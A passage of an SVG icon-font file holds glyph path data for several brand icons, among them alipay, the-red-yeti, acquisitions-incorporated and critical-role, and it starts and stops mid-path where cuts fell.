c-2.62988 -7.87012 -3.03027 -8.64062 -5.14062 -14.5303c-11.4697 -21.0303 -30.9492 -21.5703 -36.8398 -22.21c17.4902 34.9795 27.3105 69.2197 30.7002 78.1201c8.2002 21.5693 32.2705 21.5693 32.2705 21.5693c-5.25 -14.0098 -9.63086 -27.5498 -13.1201 -40.6699
h88.5c10.5498 0.25 8.58008 -22.3096 8.58008 -22.3096h-51.1602c0 -21.8701 -0.459961 -46.3604 -2.2002 -73.46h52.3301zM561.85 201.93l-19.2295 14.4307s30.8301 40.0498 36.8301 48.1992c8.72949 10.7402 27.3799 -4.05957 27.3799 -4.05957
s-24.1504 -32.9297 -44.9805 -58.5703zM411.76 261.02l0.00976562 0.0107422c8.99023 -8.25 34.6602 -45.8604 34.6602 -45.8604l-19.46 -13.7295c-1.59961 2.40918 -41.1201 57.4492 -41.1201 57.4492s16.9004 10.3799 25.9102 2.12988zM640 189.65
c0 0 0.950195 -23.79 -8.73047 -23.79h-122.359v-73.3203c0.780273 -28.0303 -15.3301 -45.3096 -44.8906 -45.3096c-9.84961 0 -16.1396 1.75977 -26.0195 6.56934c-12.9805 7.4502 -17.3203 17.8701 -19.3096 21.8398c15.6094 -0.65918 27.6094 -1.91992 41.6895 -1.80957
c13.29 -0.870117 24.4805 7.15039 24.4805 21.1201v70.9199h-107.94c-22.6895 0.540039 -25.5098 22.8496 -25.5098 22.8496h133.47v99.8105c-12.8301 0 -31.6797 -0.830078 -56.5098 -2.43066c-26.46 -0.80957 -35.8398 -2.58984 -49.1504 0.890625
c-8.16016 2.46973 -14.1797 10.7295 -15.7793 19.5498c67.1396 1.55957 232.359 18.0498 232.359 18.0498s20.1006 5.75977 23.1699 4.58008c12.8105 -6.25 0.589844 -33.4395 0.589844 -33.4395c-17.6396 -0.810547 -46.8896 -2.40039 -87.7695 -4.81055
c-10.4297 -0.799805 -18.04 -1.2002 -22.8496 -1.2002v-101c0.149414 0 111.279 0.930664 131.06 0.930664z" />
    <glyph glyph-name="alipay" unicode="&#xf642;" 
d="M377.74 416c38.6895 0 70.0898 -31.5703 69.9297 -70.2598v-234.41c-48.6104 16.7002 -99.6895 36.04 -148.62 52.7402c23.1406 44.2998 38.3506 90.9199 38.3506 90.9199h-88.7705v31.2402h109.45v19.0098h-109.44v50.4199h-50.9199v-50.4199h-109.439v-19.0098h109.439
v-31.2402h-92.0801v-16.7002h178.2s-9.91992 -30.25 -26.4502 -60.3398c-47.7793 14.71 -91.75 24.96 -127.13 24.96c-84.6396 0 -103.49 -42.4902 -99.5195 -81.5c3.30957 -31.0703 26.4502 -76.3701 97.04 -76.3701c64.4795 0 116.55 37.0303 148.62 81
c61.0098 -28.0996 125.64 -62.8203 171.6 -88.4404c-0.5 -38.5195 -31.7402 -69.5996 -70.2598 -69.5996h-307.48c-38.8496 0 -70.2598 31.4102 -70.2598 70.2598v307.48c0 38.8496 31.4102 70.2598 70.2598 70.2598h307.48zM47.2803 125.05
c-0.990234 17.5205 10.9102 50.5801 78.3594 50.5801c24.96 0 64.8105 -12.7295 109.44 -31.4102c-25.29 -33.2197 -65.7998 -72.8994 -117.87 -72.8994c-59.6797 0 -68.9404 33.5596 -69.9297 53.7295z" />
    <glyph glyph-name="the-red-yeti" unicode="&#xf69d;" horiz-adv-x="512" 
d="M488.23 206.3c2.49805 -3.35254 5.51465 -9.31152 6.76953 -13.2998c3.37793 -9.19922 7.36523 -24.5205 8.90039 -34.2002l-2.5 -0.5l-13 14.2998c-17.9004 -28.0996 -9.90039 -15.3994 -16.7002 -25.0996c0 -124.2 -101.3 -211.5 -223 -211.5
c-61.5 0 -113.9 20.2002 -157.5 60.2002c-64.5 60.8994 -64.9004 125 -64.9004 150.5c-0.5 1.7998 -0.700195 3.5 -1.2002 5.2002l-20.1992 -22.4004c-6.80078 43 25.6992 74.2998 33 80.7002c0.5 1 0.699219 2.2002 1.19922 3.2002l-28.7998 1l-3 3.39941
c8.5 3.5 25.2998 13.2998 40.2998 14.2998c6.30273 12.0684 18.7568 30.123 27.8008 40.3008c1.2998 6.39941 3.2998 14.1992 6.59961 25.7998l-7.59961 -4.7002l-1.7002 1.7002l1.7002 8.39941c8.87207 21.3857 29.7939 51.5811 46.6992 67.4004l-33 14.2998h3.7002
c20.9004 4.90039 33.2002 3.2998 49.2002 0c-2.5 4.10059 -5.40039 10.5 -8.40039 18.9004c-1.16699 3.20996 -2.11426 8.58691 -2.11426 12.0029c0 3.81152 1.1709 9.76855 2.61426 13.2969c8.90039 -7.40039 14.3008 -24.5996 15.2002 -27
c0.700195 3.59961 2.10059 21.2998 33.7002 45.5l1.83008 -0.5l-12 -44.2002c30 17.7002 63 21.9004 97.9004 11.7998c-12.7002 -12.1992 -24.3008 -28.8994 -42.5 -33c7.39941 -2.2998 28.6992 -9.69922 34.1992 -15.1992l-24.7998 7.09961
c6.5 -6 19.6006 -16.4004 25.1006 -25.0996c19.418 -0.893555 50.0615 -6.85254 68.3994 -13.3008l-0.5 0.5c29.4004 14.7002 37.7002 27.3008 74.7998 3c0 -30.1992 -2.2998 -23.3994 3 -29.7998c6.41602 5.42383 17.75 12.8154 25.3008 16.5
c13 6.40039 23.0996 4.7002 30.6992 -5.89941c11.8008 0 17.8008 -15.7002 18.4004 -27c14.7998 -2.90039 2.7002 -30.7002 2.5 -30.7002l-7.09961 -18.2002c7.7998 -7.7998 22.0996 -20.9004 31.6992 -44.7998zM398 336.8c-13.0996 8.90039 -22.7002 11.9004 -28.2998 8.5
c8.09961 -7.2002 13 -14.2998 13.5 -20.7002c1.2002 -7.59961 -2.2002 -14.7998 -10.6006 -21.8994l-4.19922 -3.40039c3.60059 -5.90918 7.36328 -16.2578 8.39941 -23.0996h2.5c-2.09961 13.8994 -2.5 11 0.700195 14.7998c11 -6.40039 14.9004 -14.5 16 -19.9004
c21.7998 10.1006 29.5 12.7002 54.7998 20.9004l-18.2002 -16c11.4004 0 25.6006 0.299805 46.5 -8.40039c7 24.3008 7.10059 20.7002 2.5 20.7002l-4.69922 -11.2998c-1.7002 10.5 -2.90039 18.9004 -3.40039 25.2998c-0.5 6.7002 -3.90039 9.60059 -9.2998 10.1006
c-0.00976562 -0.384766 -0.0175781 -1.00781 -0.0175781 -1.3916c0 -3.87012 0.769531 -10.0566 1.71777 -13.8086l-1.7002 -5.90039c-2.90039 10.6006 -5.90039 20.2002 -9.2998 27.7998c-9.7002 17.7002 -30.2002 -9.19922 -43 -11.2998
c3.72266 -0.207031 9.77051 -0.375977 13.5 -0.375977c3.72852 0 9.77637 0.168945 13.5 0.375977l-22.4004 -5.39941l3.40039 -4.7002c-5.5 0 -16.9004 -0.900391 -22.4004 17.2002zM358.4 346.9l-20.3008 -11.8008c11.3008 -7.59961 20.2002 -18.1992 27.8008 -31.1992
c6.39941 2.89941 10.0996 5.09961 11.7998 7.59961c2.5 2.7998 2.5 4.7002 3 7.09961c0.599609 1.30078 0.799805 2.7002 -3.40039 11.1006c-7.5 11.7998 -16.2002 15.2998 -18.8994 17.2002zM91 304.9c-7.7998 -24.1006 -11.7002 -49.4004 -13.2002 -74.6006l13.2002 -5
l1.2002 27c9.5 -16.3994 11.2002 -23.2998 12.2998 -28.7998c2.7998 2.09961 7.7002 7 22.5996 11.2998l1.2002 -1.7002l-7.59961 -10.5996c10.0996 3.5 19.5 3.5 28.2998 0.5l-10.5996 -8.40039c22.7998 -8.39941 26.5996 -7.59961 38.3994 -26.0996l-11.7998 1.2002
c34.9297 -20.5 66 -47.9004 141.2 -63.2002c15.5996 24.0996 14 21.0996 14 22.9004l0.200195 0.199219l-0.200195 0.200195c-0.700195 1.90039 -14.1006 16.6006 -18.2002 20.7002c7.2998 -1.7998 6 -0.900391 10.7998 -3.7002
c1.7002 -0.899414 -5.39941 5.40039 -21.8994 20.2002c16.5 -6.7002 27.5996 -15.5 33 -27.7998l1.69922 30.7002l-22.3994 17.6992l6.39941 5.90039c-7.2998 0 -31 3.7002 -49.1992 -16l-2.5 0.5c5.89844 12.1807 13.0664 32.7881 16 46
c1.61914 7.72656 2.96289 20.4053 3 28.2998c0 19.5 -4.7002 38.4004 -13.5 56.6006c-6.40039 13.5 -16.5 25.2998 -30 35.3994c-5.4707 4.09961 -14.7441 10.1475 -20.7002 13.5c3 0.700195 1 1.2002 -5.40039 1.2002c-6.39941 0.200195 -13 0.700195 -19.3994 1.2002v-3
c-8.67773 -1.375 -20.0127 -8.18457 -25.3008 -15.2002h-1.19922l-5.40039 -3.40039c-1.2002 2.90039 0 6.30078 4.2002 9.30078l10.5996 11.2998l-3.39941 -0.5l2 3.39941c-2.30078 0.200195 -4.2002 0.5 -6.2002 0.700195l-0.5 1.2002l2.5 1.7002
c2.2002 -0.200195 4.59961 -0.5 7.09961 -0.700195c2.52539 1.3457 6.89746 2.43848 9.75879 2.43848c1.18359 0 3.08301 -0.196289 4.24121 -0.438477l2.5 -1.2002l0.200195 -0.5c6.50488 0.421875 16.9883 1.7207 23.4004 2.90039
c20.6992 2.89941 36.6992 11.2998 48.5 24.7998l-21.1006 0.5c-25.7998 0.5 -49.3994 -5.40039 -71.2998 -18.9004l-2.5 2.5l0.5 4.7002l1.7002 7.10059c1.37695 7.08105 4.24414 18.415 6.39941 25.2998c-1.69922 -0.700195 -4.59961 -4.90039 -9.2998 -11.2998
c-4.7002 -6.40039 -8.39941 -13 -10.0996 -19.4004c-0.905273 -4.24512 -3.54785 -10.6514 -5.90039 -14.2998l-13.5 29l8.40039 -35.7998l-0.5 -1.7002h-0.015625c-4.51953 0 -11.6807 1.12012 -15.9844 2.5c-3.40039 0.700195 -10.6006 1.2002 -20.9004 1.2002
c0.5 0 -0.700195 0 -3.2002 -0.5c5.40039 -1.30078 13.5 -4.2002 24.8008 -8.40039l6.39941 1.2002c-4.2002 -3.40039 -10.8994 -10.1006 -20.2002 -19.4004c-9.39941 -8.89941 -20.1992 -26.0996 -32.5 -50.2002l4.2002 1.2002l10.1006 9.2998l-5.40039 -4.69922
l13 12.2998l-2.5 -3.40039c-5.09961 -7.59961 -8.09961 -12.2998 -9.2998 -15.2002zM367.5 -25.0996c8.2998 40.2998 3.59961 55.1992 -0.700195 89.5c-35.5 -11.8008 -20.2998 -6 -32 -10.8008l10.5 -14.1992l-1.2002 -1.2002c-20.1992 6 -23.1992 10.7998 -27.7998 15
c6 -22.2002 13.9004 -26.4004 29.5 -31.7002c-9.5 -9.59961 -25.3994 4 -34.3994 13l2.5 -23.5996l-4.2002 -3c-5 22.0996 -22 39.0996 -25.2998 39.0996c-44 -13 -79.1006 -5.7998 -113.9 10.5996c-1.59961 -0.399414 -70.5996 -18 -120.5 37.1006
c13.7002 -35 32.2998 -63.7002 71.2998 -82.6006c-4.13574 8.56934 -13.4102 20.4863 -20.7002 26.6006c0 0 0.700195 3.7002 1.2002 10.0996c19.4004 -19.3994 50.7002 -39.5 93.2002 -60.2002c-59.5996 24.5 -59.9004 24.8008 -69.0996 29l16 -20.6992
c-3 -1.30078 -6.7002 -0.5 -10.1006 1.19922c-10.3359 6.03809 -26.1943 17.1484 -35.3994 24.8008c1.89941 -2.2002 80.0996 -98.5 200.899 -74.3008c-43.0996 21.8008 -52.3994 52.4004 -66.5996 73.5l17.7002 -7.59961l-11.8008 23.0996
c20.1006 -27.7998 28.6006 -35 38.4004 -44.2998l-30 16.5c12.5996 -27.0996 33.7002 -47 63.5 -58.7998c2.90039 1.5 9.09961 -1.09961 59 23.9004zM482.8 189.3l8.93066 -12.7998l-12.3008 32.5c10.9004 0 10 -0.0996094 21.2002 -3.40039
c-6.72168 9.44824 -18.8184 23.7842 -27 32l-26.5996 23.1006l1.2002 3l23.5996 2.5c-9.00293 1.98535 -23.7871 3.86719 -33 4.2002l-17.7002 -0.5l-0.5 2.89941l14.7998 13l-41.7998 -20.2002l-12.2998 18.9004l3.40039 -16l-2.5 -1.2002l-5.90039 4.2002h-10.0996
l5.39941 -4.2002v-2l-13.5 -27.7998c-10.0996 -31.2002 -21.8994 -67.9004 -35.3994 -109.7l1.19922 16l-1.19922 -3v-0.5c-6.40039 -16 -13.6006 -29.5 -21.2002 -39.5996l9.2998 21.8994l-46.7002 -20.1992c11.7998 13.5 23.6006 19.3994 34.9004 18.8994
c-71.2002 11.4004 -106.2 41 -110.4 46c3.60059 -6.2002 13.2002 -17.7998 16 -40.0996l-1.7002 -1.2002c-4.2998 15.5996 -16.3994 46.5996 -55.7998 69.5996l23.6006 -2.5c-10.5 12.6006 -36.3008 17.8008 -40.8008 16l-2.5 2.5l8.40039 8.40039l-22.2998 -5.7998
l5.39941 13.5c-8.09961 -4.40039 -4.2998 -2.40039 -17 -8.90039l-1.69922 0.5c0.599609 0.600586 0.899414 -0.700195 -3 9.2998c-0.600586 -11 -0.400391 -8.59961 -1 -11.7998c-1.07324 -0.355469 -2.73145 -1.11719 -3.7002 -1.7002c-40 20.6006 -57.2002 11 -73 5.2002
c36.7998 -6 29.2998 -4 38.3994 -9.2998c-25.7998 -12.2002 -31.8994 -12.5996 -51.3994 -70.0996l22.2695 22.2998l2.5 -16.4004c13.4004 -58 68.7002 -92.5 126.4 -83.3994l-26.1006 22.3994l44.8008 -22.3994l-1.2002 -3c4.59961 -1.7002 9.2998 -3 13.5 -4.2002
c16.4727 -4.87598 43.7852 -8.83203 60.9648 -8.83203c8.94727 0 23.3887 1.08887 32.2354 2.43164l-32.5 21.2002c35.7998 -7 50.6992 -31.4004 56.7998 -39.5996l-7.60059 29l1.2002 2.5l19 -27.9004l-9.2998 26.5996l21.9004 -13.5h1.19922l-3.39941 4.2002
l7.09961 -4.7002l-14.2998 16l1.2002 3l7.59961 -7.09961c4.2998 1.2002 41.4004 10.5 80.9004 40.2998c47.8994 35.4004 68.0996 73.7998 71.5996 79.7002l-3 9.2998zM476.7 260.6l-18.2002 -1.19922l14.2998 -11.8008zM221.9 253.5
c2.69922 -5.09961 5.69922 -12.4004 18.3994 -18.7998c-7.5 -10.9004 -8.2998 -10.5 -20.2002 -16c-7.59961 -7.7002 -13.5 -13.1006 -17.6992 -14.7998l7.09961 13c-4.61914 -1.69336 -12.3604 -3.06641 -17.2793 -3.06641c-2.08789 0 -5.45703 0.25293 -7.52051 0.566406
l-0.5 1.19922c19 2.10059 37.2002 9.40039 46.5 16c-4.10059 4.2002 -7.10059 11.3008 -8.7998 21.9004zM225.6 355.8c4.92578 -2.78809 11.3486 -8.9707 14.3008 -13.7998c14.6992 -24.0996 19.1992 -40.0996 11.2998 -47.7002
c-7.90039 -7.59961 -16.7998 -7.09961 -26.1006 3c-9.2998 10.1006 -13.5 23.7002 -11.7998 39.6006c1.7002 15.8994 5.90039 22.2998 12.2998 18.8994zM220.9 309.5c7.09961 -21.2998 33.3994 -23.0996 26.8994 4.90039c-3.89941 16.5 -8.7998 27.0996 -15.2002 32.5
c-6.59961 5.39941 -10.0996 6.69922 -11.2998 4.19922c-2.5 -2.89941 -3.5 -11.2998 -3 -24.7998c7.5 12.7998 11.6006 5.90039 12.5 4.7002l-0.5 -0.5c-0.799805 -1.7002 -2.59961 -3.09961 1.7002 -6.2002l1.2002 0.5v-4.7002
c-1.7998 -12.5 -6.90039 -12.7998 -12.2998 -10.5996zM175.9 315c-2.09375 0.388672 -4.49707 2.27051 -5.40039 4.2002c-3.5 8.5 0 21.2002 8.09961 21.2002c2 -0.5 3.7002 -1.7002 5.40039 -4.7002c-1.5 -0.400391 -4.7002 -4.7998 0.700195 -5.90039h0.5
c0 -13.7002 -7.7002 -15.0996 -9.2998 -14.7998zM216 365.1l-3.7002 2.40039l-0.5 2.5c18.2998 0 25.7998 -8.7998 28.2998 -14.2998c-6.0459 3.29688 -16.542 5.97266 -23.4297 5.97266c-0.737305 0 -1.93359 -0.0322266 -2.66992 -0.0732422l-0.5 3zM144.2 315.7
c1.59961 -1.60059 0.599609 -0.299805 4.89941 -6.60059c-25.3994 -4.69922 -23.1992 -12.2998 -30 -12.2998c0.300781 0.600586 7.10059 16 23.6006 16l-7.10059 7.60059c9.40039 0.5 15.2002 2.09961 19.9004 -5.90039c0.0175781 6.60938 1.31641 17.1826 2.90039 23.5996
c2 7.60059 3.69922 11.8008 5.39941 13.5c1 1.5 16.2998 15.7002 29 22.4004c2.05469 1.48047 5.77637 2.68262 8.30859 2.68262c1.48438 0 3.81055 -0.44043 5.19141 -0.982422c0.285156 -0.345703 0.515625 -0.989258 0.515625 -1.43652
c0 -0.0732422 -0.00683594 -0.191406 -0.015625 -0.263672l-13 -7.59961c7.60059 -11.8008 10.5 -25.3008 8.7998 -41.3008c-0.932617 -9.45898 -7.5625 -22.1377 -14.7998 -28.2998l2.90039 -4.7002c-30 2.2002 -24.7998 6.80078 -46.5 23.6006zM162.9 334.4
c-1.80078 -7.2002 -2.30078 -16 -3.10059 -26l5.40039 -6.40039l7.09961 -3.40039c2.01465 -0.384766 5.31445 -0.697266 7.36523 -0.697266c1.08887 0 2.85156 0.0888672 3.93457 0.197266c1 1.7002 3.5 4.2002 6.40039 7.60059c5 5.89941 7.90039 13.7998 8.40039 23.0996
c0.0703125 1.18262 0.126953 3.10449 0.126953 4.28906c0 5.92773 -1.40137 15.3408 -3.12695 21.0107c-3 8.10059 -5.90039 11 -10.1006 9.30078c-5.39941 -1.7002 -10.5996 -5.40039 -16 -11.8008c-3 -4.19922 -5.2002 -9.59961 -6.39941 -17.1992zM204.9 278.3
l-3.10059 -6.5c7.10059 4.2002 13.5 7.2002 19.4004 8.40039l7.09961 0.5l11.7998 -7.60059h-2.5c-8.7998 3.7002 -19.3994 1.2002 -30.6992 -7.59961c-0.5 -4.7002 1.69922 -14.7002 5.89941 -29.5l9.2002 0.5c-21.9004 -6.59961 -37.5996 -8.40039 -48.9004 -5.40039
c-24.8994 6.7002 -27.3994 23.6006 -27.5 24.1006c-1.47754 5.69238 -2.67676 15.0869 -2.67676 20.9688c0 3.53418 0.438477 9.23828 0.977539 12.7314c-6.40039 -0.5 -11 -4.2002 -15.2002 -10.6006c-2.90039 5.90039 -5.40039 8.7998 -5.90039 9.2998
c1.5 0.700195 12.2998 7.5 32.5 4.90039l0.5 -2.5l-5.89941 -1.2002c-0.100586 -0.399414 -1.90039 -29.5 18.8994 -24.7998c1.40039 0.299805 1.2998 -0.0996094 36.1006 14.2998z" />
    <glyph glyph-name="acquisitions-incorporated" unicode="&#xf6af;" horiz-adv-x="384" 
d="M357.45 -20.2002c2.2002 -14.2998 4.09961 -28.7002 6.59961 -43.7002h-337.1c-4 0 -6.10059 0.700195 -5.2998 5.7002c2.09961 12.9004 3.5 25.9004 5 38.7998c0.5 4.80078 2.2998 6.80078 7.59961 6.80078c118.1 -1 114.9 -0.300781 121.4 2.39941
c9.39941 4 14.8994 12.9004 14.8994 23.1006c-0.0996094 42.8994 -0.299805 85.8994 -0.200195 128.8c0 3.7998 -1.19922 5.89941 -4.59961 6.7998c-15.7002 3.90039 -31.2998 7.7002 -47.5996 11.7002c-5.30078 -12.2998 -10.4004 -24.4004 -15.7002 -36.7002
c1.7998 -3.2998 28.3994 -2.90039 35.2998 -2.90039v-27.5996h-114.3c1 8.59961 1.7002 16.7998 3.2002 24.9004c0.299805 1.39941 3.59961 3.09961 5.5 3.19922c8.39941 0.400391 16.8994 0.300781 25.3994 0.100586c4 0 5.90039 1.09961 7.60059 5.2002
c16.5996 40.6992 13.5 31.1992 67.2998 161c31.5 76.0996 33 76 32.5996 87.3994c-0.700195 18.6006 -25.3994 22.2998 -37.7002 22.1006c-30 -0.400391 -38.3994 0.5 -101.8 0.5c-7.2002 44.5 -4.2002 32.0996 -6.39941 45.2998c-0.700195 4.2002 1 5.2998 4.59961 5.2998
l339.1 -0.200195c-0.799805 -5.39941 -1.59961 -10.7998 -2.39941 -16.0996c-1.2998 -9.7002 -2.7998 -19.4004 -4 -29.2002c-0.299805 -2.90039 -1.2002 -4.2998 -4.2998 -4.2998c-20.6006 -0.100586 -41.2002 -0.100586 -61.8008 -0.5
c-18.6992 -0.400391 -37.5996 -0.299805 -56.1992 -2c-13.4004 -1.2002 -23.3008 -12.6006 -18.9004 -26.6006c8.59961 -27.0996 27.7002 -69.0996 36.5 -89.1992c65.7002 -154.2 61.4004 -157 84 -158.601c6.59961 -0.5 13.4004 -0.0996094 20.4004 -0.0996094
c1.2998 -9.40039 2.59961 -18 4 -27.5h-116v27c10.3994 0 20.3994 0.0996094 30.3994 -0.100586c3.5 0 5 0.700195 3.40039 4.40039c-4.40039 10.2998 -8.7002 20.5996 -13.2002 30.9004c-1.59961 3.69922 -4.09961 4.7998 -8.40039 3.5
c-12.3994 -3.60059 -24.7998 -6.7002 -37.2998 -9.7002c-4.2998 -1.10059 -6 -2.7998 -5.89941 -7.5c0.799805 -57.5 0.899414 -127.5 1 -129.101c0.399414 -12.5996 8.69922 -21.3994 21 -23.0996c0.899414 -0.200195 12.8994 -2.7998 112.699 -2.59961
c8.30078 0 8.40039 0.0996094 9.60059 -7.60059zM182.55 185.5c2.46484 -0.869141 6.58691 -1.5752 9.2002 -1.5752s6.73535 0.706055 9.2002 1.5752c13 4.2002 26.2998 7.7998 39.3994 11.7002c1.1123 0.512695 2.86035 1.45312 3.90039 2.09961
c-6.7002 17.4004 -13.0996 34.2002 -19.7002 50.9004c-8.89941 22.7002 -17.7002 60.2998 -27 82.7998c-1.5 0.799805 -1.89941 -2.40039 -9.39941 0c-17.1006 -44 -34.1006 -87.7998 -51.3008 -132.1c1.54297 -0.917969 4.1416 -2.2168 5.80078 -2.90039
c13.2998 -4.2998 26.5996 -8.2998 39.8994 -12.5z" />
    <glyph glyph-name="critical-role" unicode="&#xf6c9;" 
d="M225.82 448c0.259766 -0.150391 216.569 -124.51 217.12 -124.72c3 -1.18066 3.69922 -3.45996 3.69922 -6.56055c-0.0732422 -83.4463 -0.0732422 -166.899 0 -250.359c0.00976562 -0.124023 0.0175781 -0.326172 0.0175781 -0.450195
c0 -2.06836 -1.52148 -4.45703 -3.39746 -5.33008c-21.3701 -12 -207.859 -118.29 -218.93 -124.58h-3c-79.3301 45.6602 -218.25 125.44 -218.4 125.52c-1.04297 0.491211 -1.89062 1.8252 -1.89062 2.97754c0 0.0732422 0.00488281 0.19043 0.0107422 0.262695
c0 0.870117 0 225.94 -0.0498047 253.101c-0.0078125 0.102539 -0.0136719 0.269531 -0.0136719 0.37207c0 1.78223 1.31836 3.82422 2.94336 4.55762c23.2607 13.0996 209.271 119.21 220.141 125.21h1.75zM215.4 427.58l-0.219727 0.158203
c-64.7471 -36.8604 -129.474 -73.7305 -194.18 -110.61c0 -0.120117 0.0800781 -0.229492 0.129883 -0.349609l30.8604 -11.6406c-7.70996 -6 -8.32031 -6 -10.6504 -5.12988c-0.0996094 0 -24.1699 9.28027 -26.7998 10v-230.43
c0.879883 1.41016 64.0703 110.91 64.1299 111c1.62012 2.82031 3 1.91992 9.12012 1.51953c1.40039 -0.0898438 1.47949 -0.219727 0.780273 -1.41992c-41.1904 -71.3301 -36.4004 -63 -67.4805 -116.939c-0.80957 -1.40039 -0.609375 -1.12988 1.25 -1.12988h186.5
c1.44043 0 1.69043 0.229492 1.7002 1.63965v8.87988c0 1.33984 2.36035 0.810547 -18.3701 1c-7.45996 0.0703125 -14.1396 3.21973 -21.3799 12.7002c-7.37988 9.66016 -14.6201 19.4297 -21.8496 29.21c-2.28027 3.08008 -3.4502 2.37988 -16.7607 2.37988
c-1.75 0 -1.7793 0 -1.75977 -1.82031c0.290039 -26.21 0.150391 -25.2695 1 -32.6592c0.520508 -4.37012 2.16016 -4.2002 9.69043 -4.81055c3.13965 -0.259766 3.87988 -4.08008 0.519531 -4.91992c-1.57031 -0.389648 -31.5996 -0.509766 -33.6699 0.0996094
c-0.982422 0.269531 -1.78027 1.31543 -1.78027 2.33398c0 1.16016 0.931641 2.2334 2.08008 2.39648c3.29004 0.759766 6.16016 -0.80957 6.66016 4.44043c1.2998 13.6592 1.16992 9 1.09961 79.4199c0 10.8193 -0.349609 12.5801 -5.35938 13.5498
c-1.21973 0.240234 -3.54004 0.160156 -4.69043 0.549805c-2.87988 1 -2 4.83984 1.77051 4.84961c33.6699 0 46.0801 1.07031 56.0596 -4.85938c7.74023 -4.61035 12 -11.4805 12.5098 -20.4004c0.880859 -14.5898 -6.50977 -22.3496 -15 -32.5898
c-0.282227 -0.241211 -0.510742 -0.738281 -0.510742 -1.11035c0 -0.371094 0.228516 -0.868164 0.510742 -1.10938c2.60059 -3.25 5 -6.62988 7.70996 -9.83008c27.5605 -33.2305 24.1104 -30.54 41.2803 -33.0605c0.890625 -0.129883 1 0.419922 1 1.15039v11
c0 1 0.320312 1.42969 1.41016 1.25977c2.98633 -0.454102 7.86133 -0.822266 10.8818 -0.822266c3.53223 0 9.2207 0.50293 12.6982 1.12207c1.08008 0.150391 1.5 -0.199219 1.47949 -1.33008c0 -0.109375 0.880859 -26.6895 0.870117 -26.7998
c-0.0498047 -1.51953 0.669922 -1.62012 1.89062 -1.62012h186.71c-27.1533 47.0342 -54.2334 93.9746 -81.2402 140.821c2.25977 0.660156 -0.400391 0 6.69043 1.38965c2 0.390625 2.0498 0.410156 3.10938 -1.43945c7.31055 -12.6396 77.3105 -134 77.3701 -134.061
v230.44c-1.71973 -0.5 -103.3 -38.7197 -105.76 -39.6797c-1.08008 -0.419922 -1.5498 -0.200195 -1.91016 0.879883c-0.629883 1.89941 -1.33984 3.75977 -2.08984 5.62012c-0.320312 0.790039 -0.0898438 1.12988 0.649414 1.38965
c0.100586 0 95.5303 35.8496 103 38.7705c-65.4199 37.5693 -130.56 75 -196 112.6l86.8203 -150.39l-0.280273 -0.330078c-9.56934 0.899414 -10.46 1.59961 -11.7998 3.93945c-1 1.69043 -73.5 127.71 -82 142.16c-9.09961 -14.6699 -83.5596 -146.21 -85.3701 -146.32
c-2.92969 -0.169922 -5.87988 -0.0800781 -9.25 -0.0800781c28.833 49.8271 57.5596 99.4941 86.1797 149.001zM267.331 297.658c1.54688 0.120117 4.02832 0.500977 5.54004 0.849609c1.68945 0.299805 2.53027 -0.200195 2.59961 -1.91992
c0 -0.109375 0.0703125 -19.0596 -0.859375 -20.4502c-0.930664 -1.38965 -1.87988 -1.21973 -2.60059 0.19043c-5 9.68945 6.2207 9.66016 -39.1201 12c-0.699219 0 -1 -0.230469 -1 -0.929688c0 -0.130859 3.7207 -122 3.73047 -122.11
c0 -0.889648 0.519531 -1.2002 1.20996 -1.50977c2.46484 -0.980469 6.3623 -2.79492 8.7002 -4.0498c7.30957 -4.33008 11.3799 -10.8408 12.4102 -19.3105c1.43945 -11.7998 -2.77051 -35.7695 -32.21 -37.1396c-2.75 -0.129883 -28.2607 -1.08008 -34.1406 23.25
c-4.66016 19.2598 8.25977 32.7002 19.8906 36.3994c1.11035 0.202148 2.0127 1.28223 2.0127 2.41113c0 0.0683594 -0.00585938 0.180664 -0.0126953 0.249023c0.0996094 5.62988 3 107.101 3.70996 121.351c0.0498047 1.0791 -0.620117 1.15918 -1.35059 1.14941
c-32.3496 -0.519531 -36.75 0.339844 -40.2197 -8.51953c-2.41992 -6.18066 -4.13965 -1.32031 -3.9502 -0.230469c1.05957 6 2.16309 12 3.31055 18c0.399414 2.11035 1.42969 2.61035 3.42969 1.86035c5.58984 -2.11035 6.71973 -1.7002 37.25 -1.91992
c1.72949 0 1.78027 0.0800781 1.82031 1.84961c0.679688 27.4902 0.579102 22.5898 1 29.5498c0.00976562 0.0878906 0.0185547 0.231445 0.0185547 0.320312c0 0.986328 -0.738281 2.09766 -1.64941 2.48047c-5.59961 2.90918 -8.75 7.5498 -8.89941 13.8691
c-0.350586 14.8105 17.7197 21.6699 27.3799 11.5107c6.83984 -7.19043 5.7998 -18.9102 -2.4502 -24.1504c-1.24316 -0.68457 -2.25195 -2.3916 -2.25195 -3.81055c0 -0.146484 0.0146484 -0.383789 0.0322266 -0.529297c0 -0.589844 -0.110352 4.30957 1 -30.0498
c0 -0.900391 0.429688 -1.12012 1.24023 -1.11035c0.0996094 0 23 0.0898438 34.4697 0.370117zM68.2705 306.298c19.8408 4.50977 32.6807 0.560547 52.4902 -1.68945c2.75977 -0.310547 3.74023 -1.2207 3.62012 -4c-0.209961 -5 -1.16016 -22.3301 -1.24023 -23.1504
c-0.0371094 -0.932617 -0.767578 -1.98145 -1.62988 -2.33984c-4.05957 -1.7002 -3.60938 4.4502 -4 7.29004c-3.12988 22.4297 -73.8701 32.7002 -74.6299 -25.4004c-0.30957 -23.9199 17 -53.6299 54.0801 -50.8799c27.2402 2 19 20.1904 24.8398 20.4697
c0.0996094 0.0136719 0.261719 0.0244141 0.362305 0.0244141c1.50195 0 2.7207 -1.21875 2.7207 -2.71973c0 -0.186523 -0.0371094 -0.483398 -0.0830078 -0.664062c-1.83008 -10.8506 -3.41992 -18.9502 -3.4502 -19.1504
c-1.54004 -9.16992 -86.6992 -22.0898 -93.3496 42.0605c-2.70996 25.8496 10.4404 53.3691 40.2695 60.1494zM148.271 218.628h-19.4893c-0.0576172 -0.00488281 -0.151367 -0.00878906 -0.208984 -0.00878906c-1.04102 0 -2.13867 0.805664 -2.45117 1.79883
c2.37988 3.75 5.88965 -0.919922 5.86035 6.13965c-0.0800781 25.75 0.209961 38 0.229492 40.1006c0 3.41992 -0.530273 4.64941 -3.32031 4.93945c-7 0.720703 -3.10938 3.37012 -1.10938 3.38086c11.8398 0.0996094 22.6201 0.179688 30.0498 -0.720703
c8.76953 -1.06934 16.71 -12.6299 7.92969 -22.6201c-2 -2.25 -4 -4.41992 -6.13965 -6.72949c0.950195 -1.15039 6.89941 -8.82031 17.2803 -19.6797c2.65918 -2.78027 6.14941 -3.51074 9.87988 -3.13086h0.0214844c1.1709 0 2.16016 0.950195 2.20801 2.12012
